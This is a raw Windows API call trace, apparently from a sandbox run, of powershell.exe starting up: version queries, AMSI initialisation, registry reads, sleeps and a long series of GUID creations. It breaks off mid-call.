GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpdwHandle=0x74df3ec | out: lpdwHandle=0x74df3ec) returned 0x72c [0077.063] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", dwHandle=0x0, dwLen=0x72c, lpData=0x4fccbe0 | out: lpData=0x4fccbe0) returned 1 [0077.063] VerQueryValueW (in: pBlock=0x4fccbe0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x74df3c0, puLen=0x74df3bc | out: lplpBuffer=0x74df3c0*=0x4fccf70, puLen=0x74df3bc) returned 1 [0077.063] VerQueryValueW (in: pBlock=0x4fccbe0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\CompanyName", lplpBuffer=0x74df340, puLen=0x74df33c | out: lplpBuffer=0x74df340*=0x4fccc98, puLen=0x74df33c) returned 1 [0077.063] VerQueryValueW (in: pBlock=0x4fccbe0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileDescription", lplpBuffer=0x74df340, puLen=0x74df33c | out: lplpBuffer=0x74df340*=0x4fcccec, puLen=0x74df33c) returned 1 [0077.063] VerQueryValueW (in: pBlock=0x4fccbe0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileVersion", lplpBuffer=0x74df340, puLen=0x74df33c | out: lplpBuffer=0x74df340*=0x4fccd34, puLen=0x74df33c) returned 1 [0077.063] VerQueryValueW (in: pBlock=0x4fccbe0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\InternalName", lplpBuffer=0x74df340, puLen=0x74df33c | out: lplpBuffer=0x74df340*=0x4fccd9c, puLen=0x74df33c) returned 1 [0077.063] VerQueryValueW (in: pBlock=0x4fccbe0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalCopyright", lplpBuffer=0x74df340, puLen=0x74df33c | out: lplpBuffer=0x74df340*=0x4fccdd8, puLen=0x74df33c) returned 1 [0077.063] VerQueryValueW (in: pBlock=0x4fccbe0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\OriginalFilename", lplpBuffer=0x74df340, puLen=0x74df33c | out: lplpBuffer=0x74df340*=0x4fcce5c, puLen=0x74df33c) returned 1 [0077.063] VerQueryValueW (in: pBlock=0x4fccbe0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductName", lplpBuffer=0x74df340, puLen=0x74df33c | out: lplpBuffer=0x74df340*=0x4fccea4, puLen=0x74df33c) returned 1 [0077.063] VerQueryValueW (in: pBlock=0x4fccbe0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductVersion", lplpBuffer=0x74df340, puLen=0x74df33c | out: lplpBuffer=0x74df340*=0x4fccf14, puLen=0x74df33c) returned 1 [0077.064] VerQueryValueW (in: pBlock=0x4fccbe0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\Comments", lplpBuffer=0x74df340, puLen=0x74df33c | out: lplpBuffer=0x74df340*=0x0, puLen=0x74df33c) returned 0 [0077.064] VerQueryValueW (in: pBlock=0x4fccbe0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalTrademarks", lplpBuffer=0x74df340, puLen=0x74df33c | out: lplpBuffer=0x74df340*=0x0, puLen=0x74df33c) returned 0 [0077.064] VerQueryValueW (in: pBlock=0x4fccbe0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\PrivateBuild", lplpBuffer=0x74df340, puLen=0x74df33c | out: lplpBuffer=0x74df340*=0x0, puLen=0x74df33c) returned 0 [0077.064] VerQueryValueW (in: pBlock=0x4fccbe0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\SpecialBuild", lplpBuffer=0x74df340, puLen=0x74df33c | out: lplpBuffer=0x74df340*=0x0, puLen=0x74df33c) returned 0 [0077.064] VerQueryValueW (in: pBlock=0x4fccbe0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x74df334, puLen=0x74df330 | out: lplpBuffer=0x74df334*=0x4fccf70, puLen=0x74df330) returned 1 [0077.064] VerLanguageNameW (in: wLang=0x409, szLang=0x74df0c4, cchLang=0x100 | out: szLang="English (United States)") returned 0x17 [0077.064] VerQueryValueW (in: pBlock=0x4fccbe0, lpSubBlock="\\", lplpBuffer=0x74df344, puLen=0x74df340 | out: lplpBuffer=0x74df344*=0x4fccc08, puLen=0x74df340) returned 1 [0077.077] AmsiInitialize () returned 0x0 [0078.554] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x74dead0, nSize=0x80 | out: lpBuffer="᱌׽ஓ裟狖ݍݍ\x01") returned 0x0 [0078.601] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x74dead0, nSize=0x80 | out: lpBuffer="က炉˳") returned 0x0 [0079.117] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.154] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.189] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.209] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.293] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.358] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.386] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.513] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.550] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.593] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.716] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.764] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.868] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.873] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.877] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.888] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.981] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0080.030] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0080.032] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0080.212] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x74df1ec | out: phkResult=0x74df1ec*=0x760) returned 0x0 [0080.215] RegQueryValueExW (in: hKey=0x760, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x74df20c, lpData=0x0, lpcbData=0x74df208*=0x0 | out: lpType=0x74df20c*=0x1, lpData=0x0, lpcbData=0x74df208*=0x56) returned 0x0 [0080.215] RegQueryValueExW (in: hKey=0x760, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x74df20c, lpData=0x50ccd74, lpcbData=0x74df208*=0x56 | out: lpType=0x74df20c*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x74df208*=0x56) returned 0x0 [0080.215] RegCloseKey (hKey=0x760) returned 0x0 [0080.463] GetTimeZoneInformation (in: lpTimeZoneInformation=0x74defbc | out: lpTimeZoneInformation=0x74defbc) returned 0x2 [0080.465] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x74de830, nSize=0x80 | out: lpBuffer="က滸က滸") returned 0x0 [0080.465] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xbc38bfca, Data2=0xa008, Data3=0x4e32, Data4=([0]=0x94, [1]=0x2a, [2]=0xe3, [3]=0x89, [4]=0xd4, [5]=0x28, [6]=0x9d, [7]=0xc9))) returned 0x0 [0080.481] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xd1a3fcf0, Data2=0x58fc, Data3=0x475f, Data4=([0]=0x8a, [1]=0xd0, [2]=0x7d, [3]=0x59, [4]=0xd, [5]=0x1f, [6]=0x6f, [7]=0x74))) returned 0x0 [0080.484] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xc11002c8, Data2=0x7cc3, Data3=0x445e, Data4=([0]=0x91, [1]=0xcf, [2]=0x1c, [3]=0xbc, [4]=0x8d, [5]=0x2c, [6]=0xa4, [7]=0xee))) returned 0x0 [0080.485] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x1f3a8d53, Data2=0xad1a, Data3=0x40db, Data4=([0]=0x86, [1]=0x37, [2]=0x0, [3]=0x95, [4]=0x71, [5]=0x97, [6]=0x21, [7]=0x4f))) returned 0x0 [0080.563] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x9e583e40, Data2=0x7a24, Data3=0x4012, Data4=([0]=0xb7, [1]=0xb2, [2]=0xae, [3]=0xb9, [4]=0x42, [5]=0x73, [6]=0xb1, [7]=0x98))) returned 0x0 [0080.574] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xdf5e8c46, Data2=0x984c, Data3=0x4777, Data4=([0]=0x84, [1]=0x38, [2]=0xaf, [3]=0x59, [4]=0xb9, [5]=0xdf, [6]=0x24, [7]=0xf6))) returned 0x0 [0080.577] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xf89a18dd, Data2=0xcc99, Data3=0x4de7, Data4=([0]=0x80, [1]=0x10, [2]=0x73, [3]=0xb3, [4]=0x3f, [5]=0x57, [6]=0x68, [7]=0x29))) returned 0x0 [0080.586] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x4dcbddce, Data2=0x78de, Data3=0x401a, Data4=([0]=0x97, [1]=0x94, [2]=0xf3, [3]=0x37, [4]=0xc9, [5]=0xa3, [6]=0x84, [7]=0xb9))) returned 0x0 [0080.590] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xe2ba93c6, Data2=0xfff0, Data3=0x480a, Data4=([0]=0x8c, [1]=0x99, [2]=0xcf, [3]=0xc1, [4]=0x30, [5]=0x64, [6]=0xbe, [7]=0x2b))) returned 0x0 [0080.590] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x385c0686, Data2=0x9e15, Data3=0x45b9, Data4=([0]=0x92, [1]=0xa7, [2]=0x20, [3]=0x1d, [4]=0xff, [5]=0x6b, [6]=0xa, [7]=0xce))) returned 0x0 [0080.592] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xc856630f, Data2=0xded6, Data3=0x43b8, Data4=([0]=0x98, [1]=0xab, [2]=0x4b, [3]=0xbd, [4]=0xe6, [5]=0x23, [6]=0xcc, [7]=0xae))) returned 0x0 [0080.594] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xf5cfc173, Data2=0x938, Data3=0x480c, Data4=([0]=0x8f, [1]=0xfc, [2]=0x11, [3]=0x81, [4]=0xaf, [5]=0x9, [6]=0xfb, [7]=0x6b))) returned 0x0 [0080.600] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xfafa318c, Data2=0xf194, Data3=0x4ff3, Data4=([0]=0xa3, [1]=0xfa, [2]=0xb3, [3]=0x3, [4]=0x9a, [5]=0x54, [6]=0xa9, [7]=0xd2))) returned 0x0 [0080.601] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xf71b1476, Data2=0xa89f, Data3=0x4187, Data4=([0]=0x9f, [1]=0xac, [2]=0x26, [3]=0x80, [4]=0x6b, [5]=0x6e, [6]=0x13, [7]=0xcf))) returned 0x0 [0080.604] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xac1db608, Data2=0x2fb4, Data3=0x4bb8, Data4=([0]=0x93, [1]=0x38, [2]=0xeb, [3]=0x68, [4]=0x9e, [5]=0x81, [6]=0x1e, [7]=0x20))) returned 0x0 [0080.605] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x141f311b, Data2=0x7f61, Data3=0x48d6, Data4=([0]=0xbd, [1]=0x5a, [2]=0x5a, [3]=0x40, [4]=0xd1, [5]=0x4e, [6]=0x78, [7]=0x0))) returned 0x0 [0080.608] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xd9af493a, Data2=0xcef6, Data3=0x4215, Data4=([0]=0x8e, [1]=0x46, [2]=0xd, [3]=0xfd, [4]=0x81, [5]=0x75, [6]=0xb6, [7]=0x64))) returned 0x0 [0080.608] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x2db17081, Data2=0x48a, Data3=0x4f4a, Data4=([0]=0xb1, [1]=0x69, [2]=0x56, [3]=0x7d, [4]=0x23, [5]=0xee, [6]=0x9d, [7]=0xd))) returned 0x0 [0080.611] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x900504d8, Data2=0x26b3, Data3=0x4549, Data4=([0]=0x9b, [1]=0x51, [2]=0x9, [3]=0x29, [4]=0xbf, [5]=0x90, [6]=0x7f, [7]=0xec))) returned 0x0 [0080.769] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x79bba0cd, Data2=0xd822, Data3=0x4ffe, Data4=([0]=0x8a, [1]=0xf9, [2]=0x24, [3]=0x4c, [4]=0x46, [5]=0xd2, [6]=0x10, [7]=0x5d))) returned 0x0 [0080.773] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x8a477fbb, Data2=0x6f61, Data3=0x4fa4, Data4=([0]=0x90, [1]=0x2f, [2]=0x5b, [3]=0x38, [4]=0xa9, [5]=0xc2, [6]=0x5d, [7]=0x9a))) returned 0x0 [0080.773] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x84322f44, Data2=0x35e1, Data3=0x4bbb, Data4=([0]=0x84, [1]=0x8e, [2]=0x93, [3]=0x9b, [4]=0x53, [5]=0xe6, [6]=0x2d, [7]=0xb))) returned 0x0 [0080.777] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xba15ee77, Data2=0x9da5, Data3=0x44c4, Data4=([0]=0x98, [1]=0x58, [2]=0x7f, [3]=0xbd, [4]=0x72, [5]=0x86, [6]=0xce, [7]=0xe))) returned 0x0 [0080.780] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x43aa7285, Data2=0xc38, Data3=0x43b3, Data4=([0]=0x97, [1]=0x7f, [2]=0x14, [3]=0x40, [4]=0xb, [5]=0xbd, [6]=0x10, [7]=0xb))) returned 0x0 [0080.780] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x667a76a4, Data2=0x1cbf, Data3=0x49bd, Data4=([0]=0xa9, [1]=0x5a, [2]=0xc, [3]=0xbd, [4]=0xc1, [5]=0x62, [6]=0xfe, [7]=0xdf))) returned 0x0 [0080.781] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x7892b990, Data2=0xe0ff, Data3=0x4fad, Data4=([0]=0xa1, [1]=0xf, [2]=0x39, [3]=0xa, [4]=0xc5, [5]=0xa1, [6]=0xac, [7]=0x73))) returned 0x0 [0080.781] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x54a10952, Data2=0x6c7d, Data3=0x4c58, Data4=([0]=0xa1, [1]=0x1e, [2]=0x9f, [3]=0x77, [4]=0xa, [5]=0x2a, [6]=0xb4, [7]=0x12))) returned 0x0 [0080.783] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x84d8147e, Data2=0x5025, Data3=0x463b, Data4=([0]=0x87, [1]=0x61, [2]=0x1f, [3]=0xde, [4]=0x47, [5]=0x52, [6]=0x1e, [7]=0xd7))) returned 0x0 [0080.786] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x9cc44b47, Data2=0x2ce4, Data3=0x497d, Data4=([0]=0x97, [1]=0xa2, [2]=0x58, [3]=0xf5, [4]=0x71, [5]=0x47, [6]=0x3f, [7]=0xa4))) returned 0x0 [0080.788] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x1ac23fe5, Data2=0xc7d, Data3=0x4771, Data4=([0]=0x96, [1]=0x9f, [2]=0xd5, [3]=0xc3, [4]=0xb7, [5]=0x75, [6]=0x7b, [7]=0xa8))) returned 0x0 [0080.789] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xa20ba44, Data2=0x668d, Data3=0x48ca, Data4=([0]=0x94, [1]=0x87, [2]=0xb8, [3]=0xa8, [4]=0x62, [5]=0x94, [6]=0x13, [7]=0xa1))) returned 0x0 [0080.792] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x1def0363, Data2=0xb5ef, Data3=0x442f, Data4=([0]=0x93, [1]=0xce, [2]=0x22, [3]=0xd2, [4]=0x1e, [5]=0xa2, [6]=0x60, [7]=0x71))) returned 0x0 [0080.792] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xc4fc9a75, Data2=0xc95, Data3=0x417b, Data4=([0]=0x98, [1]=0x4c, [2]=0xe2, [3]=0xbe, [4]=0xb0, [5]=0xbc, [6]=0x3c, [7]=0xd7))) returned 0x0 [0080.795] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x8318785a, Data2=0x23ca, Data3=0x49ae, Data4=([0]=0x8b, [1]=0xc9, [2]=0x43, [3]=0xc5, [4]=0xeb, [5]=0x2b, [6]=0x14, [7]=0x16))) returned 0x0 [0080.796] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x5a2fe746, Data2=0x8425, Data3=0x48e8, Data4=([0]=0x81, [1]=0xe4, [2]=0x83, [3]=0x50, [4]=0x2e, [5]=0xc0, [6]=0xb3, [7]=0x3b))) returned 0x0 [0080.796] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x48330474, Data2=0x745b, Data3=0x4a1d, Data4=([0]=0x9c, [1]=0x41, [2]=0x65, [3]=0xb6, [4]=0x51, [5]=0x29, [6]=0x8b, [7]=0x5a))) returned 0x0 [0080.799] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x8fe4ecf6, Data2=0x9061, Data3=0x41b4, Data4=([0]=0x89, [1]=0xac, [2]=0x3c, [3]=0x85, [4]=0xc9, [5]=0xdb, [6]=0x2d, [7]=0x19))) returned 0x0 [0080.877] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x9c3f14ff, Data2=0xf025, Data3=0x45da, Data4=([0]=0xba, [1]=0x84, [2]=0x7b, [3]=0xff, [4]=0xe8, [5]=0x35, [6]=0x61, [7]=0xa0))) returned 0x0 [0080.880] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x1177827a, Data2=0xb48f, Data3=0x464e, Data4=([0]=0xa6, [1]=0x61, [2]=0x7, [3]=0xc6, [4]=0x1d, [5]=0xee, [6]=0x85, [7]=0xf1))) returned 0x0 [0080.880] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x6c05672f, Data2=0xbd87, Data3=0x4225, Data4=([0]=0xb8, [1]=0xa6, [2]=0xe4, [3]=0xc8, [4]=0x5c, [5]=0x16, [6]=0xe2, [7]=0x9e))) returned 0x0 [0080.883] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x7a989805, Data2=0xa24, Data3=0x4d10, Data4=([0]=0x86, [1]=0x2, [2]=0xb4, [3]=0x4f, [4]=0x76, [5]=0x21, [6]=0xa8, [7]=0x60))) returned 0x0 [0080.886] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xb9b33822, Data2=0x29b3, Data3=0x4745, Data4=([0]=0x96, [1]=0xbf, [2]=0x9b, [3]=0xdc, [4]=0x83, [5]=0x96, [6]=0x9b, [7]=0x1e))) returned 0x0 [0080.889] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xe85a49a3, Data2=0x3793, Data3=0x4ee8, Data4=([0]=0xb5, [1]=0xa5, [2]=0x5, [3]=0xb5, [4]=0x4, [5]=0x36, [6]=0x68, [7]=0xc9))) returned 0x0 [0080.892] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xd44f36c2, Data2=0x9d4d, Data3=0x4194, Data4=([0]=0x82, [1]=0x9b, [2]=0x7c, [3]=0xa7, [4]=0xe1, [5]=0xd4, [6]=0x43, [7]=0xf2))) returned 0x0 [0080.896] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xe2efe9d0, Data2=0xab50, Data3=0x4e4c, Data4=([0]=0x86, [1]=0x8b, [2]=0x18, [3]=0x80, [4]=0xe4, [5]=0x72, [6]=0x59, [7]=0x87))) returned 0x0 [0080.900] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x81e81ffb, Data2=0x57ca, Data3=0x49c0, Data4=([0]=0x94, [1]=0xb6, [2]=0x7b, [3]=0xd6, [4]=0x62, [5]=0xe8, [6]=0x46, [7]=0xdc))) returned 0x0 [0080.903] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xea729835, Data2=0x84b7, Data3=0x46ac, Data4=([0]=0x88, [1]=0xf5, [2]=0x88, [3]=0x97, [4]=0x63, [5]=0x92, [6]=0xf9, [7]=0xad))) returned 0x0 [0080.906] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x6c9ee256, Data2=0x2c9f, Data3=0x4dc4, Data4=([0]=0x82, [1]=0xd7, [2]=0x52, [3]=0xa2, [4]=0x4d, [5]=0xfd, [6]=0xe4, [7]=0x63))) returned 0x0 [0080.907] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xa72d1840, Data2=0x6f40, Data3=0x4924, Data4=([0]=0xbc, [1]=0x6e, [2]=0xa7, [3]=0x5d, [4]=0xf3, [5]=0xd8, [6]=0x21, [7]=0xa4))) returned 0x0 [0080.908] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x246e14c2, Data2=0x5d53, Data3=0x4342, Data4=([0]=0xb7, [1]=0x58, [2]=0xad, [3]=0x66, [4]=0x41, [5]=0x8e, [6]=0x27, [7]=0xcd))) returned 0x0 [0080.909] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x7a2701d2, Data2=0xc570, Data3=0x46cd, Data4=([0]=0xbc, [1]=0xb3, [2]=0x8, [3]=0xf7, [4]=0x8d, [5]=0x34, [6]=0x6b, [7]=0xd3))) returned 0x0 [0080.974] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xc93ead51, Data2=0xc5a1, Data3=0x4511, Data4=([0]=0x9b, [1]=0x78, [2]=0x1a, [3]=0xf9, [4]=0x97, [5]=0x92, [6]=0xc0, [7]=0x8))) returned 0x0 [0080.979] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x9c782eda, Data2=0x5d43, Data3=0x44fb, Data4=([0]=0xa1, [1]=0x1d, [2]=0x3f, [3]=0x1a, [4]=0x73, [5]=0x26, [6]=0x2b, [7]=0x11))) returned 0x0 [0080.983] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x6ee060ae, Data2=0xbe58, Data3=0x42c1, Data4=([0]=0x8a, [1]=0x24, [2]=0x7c, [3]=0xe3, [4]=0xc9, [5]=0x55, [6]=0x7f, [7]=0xac))) returned 0x0 [0080.987] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x41a26f64, Data2=0xab5e, Data3=0x4f7f, Data4=([0]=0xb2, [1]=0xce, [2]=0xc7, [3]=0x91, [4]=0x3e, [5]=0xd3, [6]=0xc3, [7]=0xf))) returned 0x0 [0080.990] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xcb11c111, Data2=0xc6fe, Data3=0x407d, Data4=([0]=0x94, [1]=0x7f, [2]=0xb5, [3]=0x25, [4]=0x1f, [5]=0x8e, [6]=0x66, [7]=0x79))) returned 0x0 [0080.991] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x4873dcd1, Data2=0xbed5, Data3=0x405c, Data4=([0]=0xbe, [1]=0xcb, [2]=0x10, [3]=0xd6, [4]=0x3b, [5]=0xcb, [6]=0x6c, [7]=0xca))) returned 0x0 [0080.991] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x3c8780ef, Data2=0xee9f, Data3=0x4650, Data4=([0]=0xbf, [1]=0x5, [2]=0xad, [3]=0x2c, [4]=0xb4, [5]=0xf6, [6]=0xfa, [7]=0x5c))) returned 0x0 [0080.992] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xd4a549a0, Data2=0xe50b, Data3=0x48b2, Data4=([0]=0xb4, [1]=0xcd, [2]=0xd, [3]=0x66, [4]=0x5b, [5]=0x1e, [6]=0x69, [7]=0xd0))) returned 0x0 [0080.993] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xe918bfa5, Data2=0xcd14, Data3=0x4e45, Data4=([0]=0xb1, [1]=0x79, [2]=0xa9, [3]=0x81, [4]=0x9e, [5]=0x17, [6]=0xdf, [7]=0x4a))) returned 0x0 [0080.993] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xb6aadd2a, Data2=0xfaec, Data3=0x459f, Data4=([0]=0xbf, [1]=0x50, [2]=0x55, [3]=0x63, [4]=0x93, [5]=0xbc, [6]=0x89, [7]=0x51))) returned 0x0 [0080.994] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xec3f9120, Data2=0xf3af, Data3=0x446e, Data4=([0]=0x93, [1]=0x24, [2]=0xdf, [3]=0x6a, [4]=0x40, [5]=0x79, [6]=0x93, [7]=0x59))) returned 0x0 [0080.995] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xbe78760b, Data2=0xd24, Data3=0x43ee, Data4=([0]=0xa4, [1]=0xfe, [2]=0xd5, [3]=0xb, [4]=0xa2, [5]=0x74, [6]=0xc9, [7]=0xff))) returned 0x0 [0080.995] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xc09bf39e, Data2=0xaeb8, Data3=0x4e47, Data4=([0]=0x98, [1]=0x60, [2]=0x68, [3]=0xc, [4]=0x4b, [5]=0x7e, [6]=0xf8, [7]=0xba))) returned 0x0 [0080.996] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x4da584dc, Data2=0x30d5, Data3=0x441c, Data4=([0]=0x8b, [1]=0xee, [2]=0x35, [3]=0x3, [4]=0x66, [5]=0xae, [6]=0x72, [7]=0x2e))) returned 0x0 [0080.997] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xd8911c84, Data2=0x7432, Data3=0x4a58, Data4=([0]=0xa1, [1]=0x2d, [2]=0x12, [3]=0xd6, [4]=0xb6, [5]=0xc4, [6]=0xae, [7]=0x3d))) returned 0x0 [0080.997] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x25fda1c4, Data2=0xecbd, Data3=0x4abb, Data4=([0]=0x8c, [1]=0xd6, [2]=0x1c, [3]=0x68, [4]=0x6c, [5]=0xa2, [6]=0xc8, [7]=0xa1))) returned 0x0 [0080.998] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xb34fc549, Data2=0x4f72, Data3=0x44db, Data4=([0]=0x9c, [1]=0x6e, [2]=0x15, [3]=0x3d, [4]=0x3f, [5]=0xd5, [6]=0x4b, [7]=0x6))) returned 0x0 [0081.001] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x6ff54e19, Data2=0xa794, Data3=0x4a83, Data4=([0]=0x95, [1]=0xc, [2]=0x1b, [3]=0x9, [4]=0x20, [5]=0xf6, [6]=0x1f, [7]=0x26))) returned 0x0 [0081.005] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xdd2f6894, Data2=0xb774, Data3=0x4bfd, Data4=([0]=0x9d, [1]=0x3a, [2]=0x92, [3]=0xc6, [4]=0xab, [5]=0xab, [6]=0xe3, [7]=0xc3))) returned 0x0 [0081.007] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x6b7b913c, Data2=0xe2f0, Data3=0x4dcf, Data4=([0]=0x8f, [1]=0x54, [2]=0x80, [3]=0x5, [4]=0x86, [5]=0x14, [6]=0x5f, [7]=0xfa))) returned 0x0 [0081.009] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x2a92c501, Data2=0xbbf6, Data3=0x4e38, Data4=([0]=0x83, [1]=0x26, [2]=0x85, [3]=0x63, [4]=0x8e, [5]=0xfa, [6]=0x96, [7]=0x6d))) returned 0x0 [0081.011] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x3948bd2a, Data2=0xd729, 